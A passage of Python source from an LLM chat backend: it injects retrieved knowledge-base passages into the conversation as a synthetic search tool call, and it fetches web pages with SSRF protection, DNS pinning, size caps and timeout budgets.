|
|
return float(raw)
|
|
except ValueError:
|
|
pass
|
|
return _AUTOINJECT_DEFAULT_FLOOR
|
|
|
|
|
|
# Lean: injecting the full top_k every turn prefills thousands of tokens.
|
|
_AUTOINJECT_DEFAULT_TOP_K = 4
|
|
|
|
|
|
def _autoinject_top_k() -> int:
|
|
raw = os.environ.get("RAG_AUTOINJECT_TOP_K")
|
|
if raw is not None:
|
|
try:
|
|
return max(1, int(raw))
|
|
except ValueError:
|
|
pass
|
|
return _AUTOINJECT_DEFAULT_TOP_K
|
|
|
|
|
|
def _thread_whole_doc_enabled(scope: dict) -> bool:
|
|
"""Whether a thread-attached file should be injected in full rather than
|
|
retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request."""
|
|
override = scope.get("whole_doc")
|
|
if override is False:
|
|
return False
|
|
try:
|
|
from core.rag import config as _rag_config
|
|
except Exception: # noqa: BLE001
|
|
return True
|
|
return _rag_config.THREAD_WHOLE_DOC
|
|
|
|
|
|
_IMAGE_PART_TOKEN_ESTIMATE = 1024
|
|
|
|
|
|
def _message_token_estimate(conversation: list[dict]) -> int:
|
|
"""Cheap prompt-size estimate for budget guards; exact tokenization happens later."""
|
|
total = 0
|
|
for msg in conversation:
|
|
content = msg.get("content")
|
|
if isinstance(content, str):
|
|
total += max(1, len(content) // 4)
|
|
elif isinstance(content, list):
|
|
for part in content:
|
|
if isinstance(part, dict):
|
|
if part.get("type") in ("image_url", "input_image"):
|
|
total += _IMAGE_PART_TOKEN_ESTIMATE
|
|
else:
|
|
total += max(1, len(str(part.get("text") or "")) // 4)
|
|
total += 4 # chat-template role / separator overhead estimate
|
|
return total
|
|
|
|
|
|
def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int:
|
|
try:
|
|
from core.rag import config as _rag_config
|
|
except Exception: # noqa: BLE001
|
|
budget = 6000
|
|
else:
|
|
budget = _rag_config.WHOLE_DOC_MAX_TOKENS
|
|
if not scope:
|
|
return budget
|
|
context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens"))
|
|
if context is None or context <= 0:
|
|
return budget
|
|
headroom = _opt_int(scope.get("response_headroom"))
|
|
if headroom is None:
|
|
headroom = max(1024, context // 4)
|
|
used = _message_token_estimate(conversation or [])
|
|
# Leave room for tool XML wrappers, citation metadata, and chat-template overhead.
|
|
available = context - headroom - used - 512
|
|
return min(budget, max(0, available))
|
|
|
|
|
|
def _last_user_text(conversation: list[dict]) -> str:
|
|
"""Plain text of the most recent user turn (text parts only)."""
|
|
for msg in reversed(conversation):
|
|
if msg.get("role") != "user":
|
|
continue
|
|
content = msg.get("content")
|
|
if isinstance(content, str):
|
|
return content.strip()
|
|
if isinstance(content, list):
|
|
parts = [
|
|
p.get("text", "")
|
|
for p in content
|
|
if isinstance(p, dict) and p.get("type") in ("text", "input_text")
|
|
]
|
|
return " ".join(t for t in parts if t).strip()
|
|
return ""
|
|
return ""
|
|
|
|
|
|
def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> dict | None:
|
|
"""Pre-retrieve the latest user turn; if a hit clears the cosine floor return
|
|
``{"events": [...], "messages": [...]}`` to splice into the loop, else ``None``.
|
|
Toggle via ``rag_scope.autoinject`` (else env ``RAG_AUTOINJECT``); floor via
|
|
``rag_scope.autoinject_min_score`` (else env ``RAG_AUTOINJECT_MIN_SCORE``).
|
|
|
|
Also the small-model fallback: models below ~4B often answer from memory
|
|
instead of calling ``search_knowledge_base``, so forcing retrieval here keeps
|
|
attachments consulted regardless of model size."""
|
|
if not rag_scope:
|
|
return None
|
|
enabled = rag_scope.get("autoinject")
|
|
if enabled is None:
|
|
enabled = _autoinject_enabled()
|
|
thread_id = rag_scope.get("thread_id")
|
|
whole_doc_requested = (
|
|
bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope)
|
|
)
|
|
if not enabled and not whole_doc_requested:
|
|
return None
|
|
query = _last_user_text(conversation)
|
|
if not query:
|
|
return None
|
|
try:
|
|
from storage import rag_db
|
|
if not rag_db.RAG_AVAILABLE:
|
|
return None
|
|
from core.rag.tool import render_sources, search_for_autoinject, whole_document_context
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG auto-inject unavailable: %s", exc)
|
|
return None
|
|
|
|
text: str | None = None
|
|
sources: list[dict] = []
|
|
|
|
floor_override = rag_scope.get("autoinject_min_score")
|
|
floor = float(floor_override) if floor_override is not None else _autoinject_floor()
|
|
# Cap at the lean top_k, but honor a lower user setting.
|
|
lean_k = _autoinject_top_k()
|
|
sidebar_k = _opt_int(rag_scope.get("default_top_k"))
|
|
top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
|
|
|
|
# Whole-document mode: a thread-attached file under budget is injected in
|
|
# full. A KB selection is exclusive so whole-doc never preempts it; project
|
|
# sources are still retrieved top-K and appended under one citation
|
|
# numbering. Oversized/absent thread docs fall through to top-K below.
|
|
if whole_doc_requested:
|
|
try:
|
|
budget = _whole_doc_budget(rag_scope, conversation)
|
|
|
|
whole = whole_document_context(
|
|
scope_thread_id = thread_id,
|
|
max_tokens = budget,
|
|
)
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG whole-document context failed: %s", exc)
|
|
whole = None
|
|
if whole is not None:
|
|
text, sources = whole
|
|
project_id = rag_scope.get("project_id")
|
|
if project_id:
|
|
try:
|
|
proj = search_for_autoinject(
|
|
query = query,
|
|
scope_project_id = project_id,
|
|
top_k = top_k,
|
|
min_dense_score = floor,
|
|
**_scope_retrieval_kwargs(rag_scope),
|
|
)
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc)
|
|
proj = None
|
|
if proj is not None:
|
|
merged = sources + proj[1]
|
|
merged_text = render_sources(merged)
|
|
if max(1, len(merged_text) // 4) <= budget:
|
|
sources = merged
|
|
text = merged_text
|
|
logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources))
|
|
|
|
if text is None and enabled:
|
|
try:
|
|
found = search_for_autoinject(
|
|
query = query,
|
|
scope_kb_id = rag_scope.get("kb_id"),
|
|
scope_thread_id = rag_scope.get("thread_id"),
|
|
scope_project_id = rag_scope.get("project_id"),
|
|
top_k = top_k,
|
|
min_dense_score = floor,
|
|
**_scope_retrieval_kwargs(rag_scope),
|
|
)
|
|
except Exception as exc: # noqa: BLE001
|
|
logger.warning("RAG auto-inject retrieval failed: %s", exc)
|
|
return None
|
|
if not found:
|
|
logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
|
|
return None
|
|
text, sources = found
|
|
if text is None:
|
|
return None
|
|
|
|
import json as _json
|
|
import uuid as _uuid
|
|
|
|
call_id = "rag_auto_" + _uuid.uuid4().hex[:12]
|
|
args = {"query": query}
|
|
full_result = text + RAG_SOURCES_SENTINEL + _json.dumps(sources, ensure_ascii = False)
|
|
events = [
|
|
{"type": "status", "text": f"Searching documents: {query[:60]}"},
|
|
{
|
|
"type": "tool_start",
|
|
"tool_name": "search_knowledge_base",
|
|
"tool_call_id": call_id,
|
|
"arguments": args,
|
|
},
|
|
{
|
|
"type": "tool_end",
|
|
"tool_name": "search_knowledge_base",
|
|
"tool_call_id": call_id,
|
|
"result": full_result,
|
|
},
|
|
{"type": "status", "text": ""},
|
|
]
|
|
messages = [
|
|
{
|
|
"role": "assistant",
|
|
"content": "",
|
|
"tool_calls": [
|
|
{
|
|
"id": call_id,
|
|
"type": "function",
|
|
"function": {
|
|
"name": "search_knowledge_base",
|
|
"arguments": _json.dumps(args, ensure_ascii = False),
|
|
},
|
|
}
|
|
],
|
|
},
|
|
{
|
|
"role": "tool",
|
|
"name": "search_knowledge_base",
|
|
"tool_call_id": call_id,
|
|
"content": text,
|
|
},
|
|
]
|
|
logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80])
|
|
return {"events": events, "messages": messages}
|
|
|
|
|
|
_MAX_PAGE_CHARS = 16000 # cap fetched page text (after HTML-to-MD conversion)
|
|
# Raw download cap > _MAX_PAGE_CHARS since SSR pages embed large <head> sections
|
|
# stripped during conversion; 512 KB still reaches article content.
|
|
_MAX_FETCH_BYTES = 512 * 1024
|
|
# PDF cross-reference data lives at EOF, so extraction needs the whole body.
|
|
_MAX_PDF_FETCH_BYTES = 10 * 1024 * 1024
|
|
_MAX_WEB_PDF_PAGES = 50
|
|
# Control/undecodable chars, excluding text whitespace and ESC (for ANSI logs).
|
|
# Binary when they exceed 12.5%, after allowing 16 minor encoding glitches.
|
|
_BINARY_CHAR_RE = re.compile("[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1a\\x1c-\\x1f\\x7f-\\x9f\\ufffd]")
|
|
_MIN_BINARY_CHARS = 16
|
|
_BINARY_CHAR_DIVISOR = 8
|
|
# Common binary signatures that can otherwise look text-heavy when mislabeled.
|
|
_PDF_MAGIC = b"%PDF-"
|
|
_BINARY_MAGIC = (
|
|
_PDF_MAGIC,
|
|
b"PK\x03\x04", # zip / docx / xlsx / pptx / epub / jar
|
|
b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1", # OLE / legacy Office
|
|
b"\x89PNG\r\n\x1a\n", # PNG
|
|
b"\xff\xd8\xff", # JPEG
|
|
b"GIF87a",
|
|
b"GIF89a",
|
|
b"\x1f\x8b", # gzip
|
|
b"BZh", # bzip2
|
|
b"\xfd7zXZ\x00", # xz
|
|
b"\x28\xb5\x2f\xfd", # zstd
|
|
)
|
|
|
|
# Check UTF-32 first because its little-endian BOM starts with the UTF-16 BOM.
|
|
_UNICODE_BOM_CODECS = (
|
|
(codecs.BOM_UTF32_LE, "utf-32"),
|
|
(codecs.BOM_UTF32_BE, "utf-32"),
|
|
(codecs.BOM_UTF16_LE, "utf-16"),
|
|
(codecs.BOM_UTF16_BE, "utf-16"),
|
|
(codecs.BOM_UTF8, "utf-8-sig"),
|
|
)
|
|
|
|
# A cp1252 retry needs 75% ASCII structure so it cannot rescue high-byte binary.
|
|
_MIN_SINGLE_BYTE_ASCII_RATIO = 3 / 4
|
|
_ASCII_TEXT_BYTES = frozenset((*range(0x20, 0x7F), 0x09, 0x0A, 0x0D, 0x1B))
|
|
|
|
|
|
def _looks_binary(text: str) -> bool:
|
|
"""Whether control or undecodable characters exceed the binary threshold."""
|
|
return len(_BINARY_CHAR_RE.findall(text)) > max(
|
|
_MIN_BINARY_CHARS, len(text) // _BINARY_CHAR_DIVISOR
|
|
)
|
|
|
|
|
|
def _magic_head(data: bytes) -> bytes:
|
|
head = data[:1024].lstrip()
|
|
for bom, _codec in _UNICODE_BOM_CODECS:
|
|
if head.startswith(bom):
|
|
head = head.removeprefix(bom).lstrip()
|
|
break
|
|
return head
|
|
|
|
|
|
def _has_pdf_magic(data: bytes) -> bool:
|
|
return _magic_head(data).startswith(_PDF_MAGIC)
|
|
|
|
|
|
def _has_binary_magic(data: bytes) -> bool:
|
|
"""Whether a common binary signature follows optional BOM or whitespace."""
|
|
return _magic_head(data).startswith(_BINARY_MAGIC)
|
|
|
|
|
|
def _has_single_byte_text_evidence(data: bytes) -> bool:
|
|
"""True when *data* has enough ASCII structure for a cp1252 text retry."""
|
|
if not data:
|
|
return True
|
|
ascii_text_bytes = sum(byte in _ASCII_TEXT_BYTES for byte in data)
|
|
return ascii_text_bytes / len(data) >= _MIN_SINGLE_BYTE_ASCII_RATIO
|
|
|
|
|
|
def _extract_pdf_text(data: bytes) -> str:
|
|
"""Extract page-delimited text with the same parser used by RAG ingestion."""
|
|
from ..rag.parsers import parse_pdf_bytes
|
|
|
|
pages, total_pages = parse_pdf_bytes(data, max_pages = _MAX_WEB_PDF_PAGES)
|
|
page_limit_reached = total_pages > _MAX_WEB_PDF_PAGES
|
|
parts: list[str] = []
|
|
length = 0
|
|
text_limited = False
|
|
for page in pages:
|
|
page_text = page.text.strip()
|
|
if not page_text:
|
|
continue
|
|
section = f"## Page {page.page_number}\n\n{page_text}"
|
|
piece = ("\n\n" if parts else "") + section
|
|
remaining = _MAX_PAGE_CHARS - length
|
|
if len(piece) > remaining:
|
|
parts.append(piece[:remaining])
|
|
text_limited = True
|
|
break
|
|
parts.append(piece)
|
|
length += len(piece)
|
|
|
|
text = "".join(parts).rstrip()
|
|
if not text:
|
|
if page_limit_reached:
|
|
return f"(PDF contains no extractable text in the first {_MAX_WEB_PDF_PAGES} pages)"
|
|
return ""
|
|
limits = []
|
|
if text_limited:
|
|
limits.append(f"text limited to {_MAX_PAGE_CHARS:,} characters")
|
|
if page_limit_reached:
|
|
limits.append(f"page processing capped at {_MAX_WEB_PDF_PAGES} pages")
|
|
if limits:
|
|
marker = f"\n\n... (PDF extraction {'; '.join(limits)})"
|
|
text = text[: _MAX_PAGE_CHARS - len(marker)].rstrip() + marker
|
|
return text
|
|
|
|
|
|
_USER_AGENTS = (
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15",
|
|
)
|
|
|
|
_tls_ctx = ssl.create_default_context()
|
|
|
|
|
|
class _NoRedirect(urllib.request.HTTPRedirectHandler):
|
|
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
|
return None
|
|
|
|
|
|
class _PinnedHTTPSConnection(http.client.HTTPSConnection):
|
|
"""HTTPS connection to a pinned IP, using a different hostname for SNI and
|
|
cert verification.
|
|
|
|
SSRF IP-pinning rewrites URLs to raw IPs; a normal HTTPSConnection would then
|
|
send no SNI and verify the cert against the IP (both fail). This splits the
|
|
concerns: TCP connects to the pinned IP (``host``), TLS uses ``sni_hostname``.
|
|
"""
|
|
|
|
def __init__(self, host: str, *, sni_hostname: str, **kwargs):
|
|
super().__init__(host, **kwargs)
|
|
self._sni_hostname = sni_hostname
|
|
|
|
def connect(self):
|
|
# TCP connect to the pinned IP in self.host.
|
|
http.client.HTTPConnection.connect(self)
|
|
# TLS handshake with the real hostname for SNI + cert verification.
|
|
self.sock = self._context.wrap_socket(
|
|
self.sock,
|
|
server_hostname = self._sni_hostname,
|
|
)
|
|
|
|
|
|
class _SNIHTTPSHandler(urllib.request.HTTPSHandler):
|
|
"""HTTPS handler sending the correct SNI hostname during TLS handshake.
|
|
|
|
SSRF IP-pinning breaks SNI and cert verification; this returns a
|
|
``_PinnedHTTPSConnection`` that connects to the pinned IP but verifies TLS
|
|
against the original hostname.
|
|
"""
|
|
|
|
def __init__(self, hostname: str):
|
|
super().__init__(context = _tls_ctx)
|
|
self._sni_hostname = hostname
|
|
|
|
def https_open(self, req):
|
|
return self.do_open(self._sni_connection, req)
|
|
|
|
def _sni_connection(self, host, **kwargs):
|
|
kwargs["context"] = _tls_ctx
|
|
return _PinnedHTTPSConnection(host, sni_hostname = self._sni_hostname, **kwargs)
|
|
|
|
|
|
def _validate_and_resolve_host(hostname: str, port: int) -> tuple[bool, str, str]:
|
|
"""Resolve *hostname*, reject non-public IPs, return a pinned IP string.
|
|
|
|
Returns ``(ok, reason_or_empty, resolved_ip)``. The caller should connect
|
|
to *resolved_ip* (with a ``Host`` header) to prevent DNS rebinding between
|
|
validation and the actual fetch.
|
|
"""
|
|
import ipaddress
|
|
import socket
|
|
|
|
try:
|
|
infos = socket.getaddrinfo(hostname, port, type = socket.SOCK_STREAM)
|
|
except (OSError, UnicodeError) as e:
|
|
# IDNA encoding rejects a hostname with UnicodeError, not OSError.
|
|
return False, f"Failed to resolve host: {e}", ""
|
|
|
|
if not infos:
|
|
return False, f"Failed to resolve host: no addresses for {hostname!r}", ""
|
|
|
|
for *_, sockaddr in infos:
|
|
ip = ipaddress.ip_address(sockaddr[0])
|
|
# `not ip.is_global` is the source of truth (also rejects CGNAT and
|
|
# benchmarking/doc ranges); the explicit predicates only label the error.
|
|
if (
|
|
not ip.is_global
|
|
or ip.is_private
|
|
or ip.is_loopback
|
|
or ip.is_link_local
|
|
or ip.is_multicast
|
|
or ip.is_reserved
|
|
or ip.is_unspecified
|
|
):
|
|
return False, f"Blocked: refusing to fetch non-public address {ip}.", ""
|
|
|
|
# Return the first resolved address for pinning.
|
|
first_ip = infos[0][4][0]
|
|
return True, "", first_ip
|
|
|
|
|
|
# Binary application subtypes rejected by MIME; other application types are
|
|
# sniffed so textual artifacts such as SQL stay usable.
|
|
_BINARY_APPLICATION_SUBTYPES = frozenset(
|
|
{
|
|
"epub+zip",
|
|
"gzip",
|
|
"java-archive",
|
|
"pdf",
|
|
"vnd.apple.installer+xml",
|
|
"wasm",
|
|
"x-7z-compressed",
|
|
"x-bzip2",
|
|
"x-gzip",
|
|
"x-rar-compressed",
|
|
"x-tar",
|
|
"x-xz",
|
|
"zip",
|
|
"zstd",
|
|
}
|
|
)
|
|
|
|
|
|
def _is_text_candidate_content_type(content_type: str | None) -> bool:
|
|
"""Whether a MIME type is textual or ambiguous enough for byte sniffing."""
|
|
match = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
|
|
if not match:
|
|
return True
|
|
ct = match.group(0).lower()
|
|
if ct.startswith("text/"):
|
|
return True
|
|
if ct.startswith("application/"):
|
|
subtype = ct[len("application/") :]
|
|
return subtype not in _BINARY_APPLICATION_SUBTYPES
|
|
return False
|
|
|
|
|
|
# First path segments on github.com that are site pages, not repo owners.
|
|
_GITHUB_NON_OWNER_SEGMENTS = frozenset(
|
|
{
|
|
"about",
|
|
"apps",
|
|
"codespaces",
|
|
"collections",
|
|
"contact",
|
|
"customer-stories",
|
|
"dashboard",
|
|
"discussions",
|
|
"enterprise",
|
|
"explore",
|
|
"features",
|
|
"issues",
|
|
"join",
|
|
"login",
|
|
"marketplace",
|
|
"new",
|
|
"notifications",
|
|
"organizations",
|
|
"orgs",
|
|
"pricing",
|
|
"pulls",
|
|
"search",
|
|
"security",
|
|
"settings",
|
|
"signup",
|
|
"site",
|
|
"sponsors",
|
|
"team",
|
|
"topics",
|
|
"trending",
|
|
}
|
|
)
|
|
_GITHUB_NAME_RE = re.compile(r"\A[A-Za-z0-9_.\-]{1,100}\Z")
|
|
|
|
|
|
def _github_repo_readme_api_url(url: str) -> str | None:
|
|
"""README API URL for a ``github.com/{owner}/{repo}`` page, else None.
|
|
|
|
A repo root page rendered as HTML is mostly UI chrome (nav, file table,
|
|
stats); the ``/readme`` API returns the raw README markdown unauthenticated,
|
|
which is what the model actually wants to read.
|
|
"""
|
|
from urllib.parse import urlparse
|
|
|
|
parsed = urlparse(url)
|
|
host = (parsed.hostname or "").lower()
|
|
if host not in ("github.com", "www.github.com"):
|
|
return None
|
|
parts = [p for p in parsed.path.split("/") if p]
|
|
if len(parts) != 2:
|
|
return None
|
|
owner, repo = parts
|
|
if owner.lower() in _GITHUB_NON_OWNER_SEGMENTS:
|
|
return None
|
|
if repo.endswith(".git"):
|
|
repo = repo[: -len(".git")]
|
|
if not (_GITHUB_NAME_RE.match(owner) and _GITHUB_NAME_RE.match(repo)):
|
|
return None
|
|
return f"https://api.github.com/repos/{owner}/{repo}/readme"
|
|
|
|
|
|
# A single fetch can chain several steps (README API attempt, HTML fallback, up
|
|
# to five redirect hops, each reading a body). A per-operation socket timeout
|
|
# bounds one stalled step but not their sum, and nothing aborts on client
|
|
# disconnect, so one overall wall-clock deadline (plus a cooperative
|
|
# cancel_event) bounds the whole fetch instead.
|
|
def _fetch_budget_exceeded(deadline, cancel_event):
|
|
"""User-facing error string when the fetch must stop early, else None."""
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Failed to fetch URL: cancelled."
|
|
if deadline is not None and time.monotonic() >= deadline:
|
|
return "Failed to fetch URL: timed out."
|
|
return None
|
|
|
|
|
|
def _fetch_hop_timeout(timeout, deadline):
|
|
"""Per-operation socket timeout: the lesser of the caller's per-op timeout
|
|
and the time left on the deadline, so one slow hop cannot overrun the whole
|
|
budget. Callers check ``_fetch_budget_exceeded`` first, so remaining time is
|
|
positive here; the tiny floor only guards a race."""
|
|
if deadline is None:
|
|
return timeout
|
|
remaining = deadline - time.monotonic()
|
|
if remaining <= 0:
|
|
remaining = 0.001
|
|
return remaining if timeout is None else min(timeout, remaining)
|
|
|
|
|
|
def _resolve_with_budget(hostname, port, deadline, cancel_event):
|
|
"""``_validate_and_resolve_host`` bounded by the overall fetch budget.
|
|
|
|
``getaddrinfo`` is blocking with no deadline of its own, so a slow resolver
|
|
(or a request cancelled before dispatch) could run past the budget. Resolve
|
|
on a daemon thread and poll the budget so the fetch aborts on time; the
|
|
abandoned lookup is discarded. With no deadline and no cancel_event this is a
|
|
plain synchronous call, so opt-out callers keep the old behavior and cost.
|
|
"""
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return False, budget_error, ""
|
|
if deadline is None and cancel_event is None:
|
|
return _validate_and_resolve_host(hostname, port)
|
|
|
|
result: "queue.Queue" = queue.Queue(maxsize = 1)
|
|
|
|
def _resolve():
|
|
try:
|
|
result.put(_validate_and_resolve_host(hostname, port))
|
|
except Exception as exc: # defensive: never let the worker die silently
|
|
result.put((False, f"Failed to resolve host: {exc}", ""))
|
|
|
|
threading.Thread(target = _resolve, name = "web-fetch-dns", daemon = True).start()
|
|
while True:
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return False, budget_error, ""
|
|
try:
|
|
return result.get(timeout = 0.05)
|
|
except queue.Empty:
|
|
continue
|
|
|
|
|
|
def _read_capped_body(resp, max_bytes, timeout, deadline, cancel_event):
|
|
"""Read up to ``max_bytes``, enforcing the overall budget between chunks.
|
|
|
|
A single ``resp.read(max_bytes)`` can block for the whole transfer if the
|
|
server dribbles bytes just inside each socket-inactivity timeout, so the body
|
|
is read in chunks with the budget re-checked (and the socket timeout
|
|
re-tightened toward the deadline) each round. The joined bytes are identical
|
|
to one capped read. Returns ``(error_or_None, body_bytes)``.
|
|
"""
|
|
# Best-effort handle on the underlying socket so its timeout tightens as the
|
|
# deadline nears; absent on test doubles, where the between-chunk budget
|
|
# check still bounds the read.
|
|
sock = getattr(getattr(getattr(resp, "fp", None), "raw", None), "_sock", None)
|
|
chunks = []
|
|
remaining = max_bytes
|
|
while remaining > 0:
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
try:
|
|
resp.close()
|
|
except Exception:
|
|
pass
|
|
return budget_error, b""
|
|
if sock is not None:
|
|
try:
|
|
sock.settimeout(_fetch_hop_timeout(timeout, deadline))
|
|
except Exception:
|
|
pass
|
|
chunk = resp.read(min(65536, remaining))
|
|
if not chunk:
|
|
break
|
|
chunks.append(chunk)
|
|
remaining -= len(chunk)
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
try:
|
|
resp.close()
|
|
except Exception:
|
|
pass
|
|
return budget_error, b""
|
|
return None, b"".join(chunks)
|
|
|
|
|
|
_DOTTED_HOST_RE = re.compile(r"[A-Za-z0-9-]+(\.[A-Za-z0-9-]+)+")
|
|
# ASCII-only because str.isdigit() is True for digits int() refuses ("²"), and
|
|
# capped at 5 digits so the range check never converts an unbounded integer.
|
|
_PORT_RE = re.compile(r"[0-9]{1,5}")
|
|
|
|
|
|
def _normalize_url_scheme(url: str) -> str:
|
|
"""Prepend ``https://`` to bare hosts (``google.com``, ``example.com:8443``).
|
|
|
|
``urlparse`` reads the host of a ``host:port`` input as the scheme, so those
|
|
are recognised by a dotted host-like scheme with an empty netloc. Rewrites a
|
|
dotted host with an optional in-range port, and the ``//host`` form. Real
|
|
schemes (``file:``, ``javascript:``, including ``file:80``), root-relative
|
|
paths (``/login``) and bad ports are returned untouched so the caller
|
|
rejects them. A dotted scheme is indistinguishable from ``host:port``, so
|
|
``com.acme.app:443/cb`` is rewritten too; an empty port (``example.com:``)
|
|
is kept as-is, matching ``https://example.com:``.
|
|
|
|
The host is matched against the raw authority, never against what
|
|
``urlparse`` returned, because urlsplit strips tabs/newlines (3.10) and
|
|
leading C0/space (3.12). Anything it would strip fails the match, so the
|
|
decision and the rewritten string cannot disagree across versions."""
|
|
from urllib.parse import urlparse
|
|
|
|
url = url.strip()
|
|
try:
|
|
parsed = urlparse(url)
|
|
except ValueError:
|
|
# Unmatched IPv6 brackets, or an NFKC-decomposing netloc: not a bare host.
|
|
return url
|
|
if parsed.scheme:
|
|
if parsed.netloc or not _DOTTED_HOST_RE.fullmatch(parsed.scheme):
|
|
return url
|
|
rest = url
|
|
elif url.startswith("//"):
|
|
rest = url[2:]
|
|
elif url.startswith("/"):
|
|
return url
|
|
else:
|
|
rest = url
|
|
|
|
authority = re.split(r"[/?#]", rest, maxsplit = 1)[0]
|
|
host, _, port = authority.partition(":")
|
|
if not _DOTTED_HOST_RE.fullmatch(host):
|
|
return url
|
|
if port and not (_PORT_RE.fullmatch(port) and 1 <= int(port) <= 65535):
|
|
return url
|
|
return "https://" + rest
|
|
|
|
|
|
def _fetch_url_raw(
|
|
url: str,
|
|
timeout: int = 30,
|
|
extra_headers: dict | None = None,
|
|
deadline: float | None = None,
|
|
cancel_event = None,
|
|
website_policy: dict | None = None,
|
|
) -> tuple[str | None, str, str]:
|
|
"""Fetch a URL with SSRF protection; return ``(error, body_text, content_type)``.
|
|
|
|
``error`` is a user-facing message string when the fetch failed (the
|
|
existing "Blocked:" / "Failed to fetch URL:" wording), else ``None``.
|
|
Blocks private/loopback/link-local targets and caps the download size.
|
|
No input reaches the caller as an exception: the URL is model-supplied, so
|
|
every malformed form resolves to one of these strings.
|
|
|
|
``deadline`` is an optional ``time.monotonic`` cutoff for the whole fetch
|
|
(redirect hops and body read included) and ``cancel_event`` aborts it when
|
|
the caller goes away; both default off so callers keep the old behavior.
|
|
"""
|
|
from urllib.parse import urlparse
|
|
from .web_access_policy import check_url_access
|
|
|
|
# Before the policy gate: it requires an http(s) scheme, so a bare host
|
|
# would be refused there and never reach the fetch.
|
|
url = _normalize_url_scheme(url)
|
|
allowed, reason, canonical_host = check_url_access(url, website_policy)
|
|
if not allowed:
|
|
return reason, "", ""
|
|
|
|
# check_url_access already parsed this and read .port, so this cannot raise.
|
|
parsed = urlparse(url)
|
|
port = parsed.port or (443 if parsed.scheme == "https" else 80)
|
|
ok, reason, pinned_ip = _resolve_with_budget(
|
|
canonical_host,
|
|
port,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if not ok:
|
|
return reason, "", ""
|
|
|
|
try:
|
|
from urllib.error import HTTPError as _HTTPError
|
|
from urllib.parse import urljoin, urlunparse
|
|
|
|
max_bytes = _MAX_FETCH_BYTES
|
|
current_url = url
|
|
current_host = canonical_host
|
|
ua = random.choice(_USER_AGENTS)
|
|
|
|
for _hop in range(5):
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return budget_error, "", ""
|
|
cp = urlparse(current_url)
|
|
# Bracket IPv6 so the netloc stays a valid URL.
|
|
validated_netloc = f"[{current_host}]" if ":" in current_host else current_host
|
|
if cp.port:
|
|
validated_netloc = f"{validated_netloc}:{cp.port}"
|
|
if os.environ.get(_DISABLE_DNS_PINNING_ENV) == "1":
|
|
# Enterprise proxies need the hostname in CONNECT for policy and TLS interception.
|
|
request_url = urlunparse(cp._replace(netloc = validated_netloc))
|
|
else:
|
|
# Pin to the validated IP to prevent DNS rebinding.
|
|
ip_str = f"[{pinned_ip}]" if ":" in pinned_ip else pinned_ip
|
|
ip_netloc = f"{ip_str}:{cp.port}" if cp.port else ip_str
|
|
request_url = urlunparse(cp._replace(netloc = ip_netloc))
|
|
|
|
opener = urllib.request.build_opener(
|
|
_NoRedirect,
|
|
_SNIHTTPSHandler(current_host),
|
|
)
|
|
|
|
headers = {
|
|
"User-Agent": ua,
|
|
"Host": validated_netloc,
|
|
}
|
|
if extra_headers:
|
|
headers.update(extra_headers)
|
|
req = urllib.request.Request(request_url, headers = headers)
|
|
try:
|
|
# Cap the socket timeout at the time left on the overall deadline
|
|
# so a single slow hop cannot outlast the whole fetch budget.
|
|
resp = opener.open(req, timeout = _fetch_hop_timeout(timeout, deadline))
|
|
except _HTTPError as e:
|
|
if e.code not in (301, 302, 303, 307, 308):
|
|
return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
|
|
location = e.headers.get("Location")
|
|
if not location:
|
|
return "Failed to fetch URL: redirect missing Location header.", "", ""
|
|
current_url = urljoin(current_url, location)
|
|
# Server-controlled, so never scheme-upgraded; the gate below
|
|
# reads .port first, so the parse after it cannot raise.
|
|
allowed, policy_reason, redirect_host = check_url_access(
|
|
current_url,
|
|
website_policy,
|
|
)
|
|
if not allowed:
|
|
return policy_reason, "", ""
|
|
rp = urlparse(current_url)
|
|
rp_port = rp.port or (443 if rp.scheme == "https" else 80)
|
|
ok2, reason2, pinned_ip = _resolve_with_budget(
|
|
redirect_host,
|
|
rp_port,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if not ok2:
|
|
return reason2, "", ""
|
|
current_host = redirect_host
|
|
continue
|
|
|
|
# get_content_type() defaults to "text/plain" when the header is
|
|
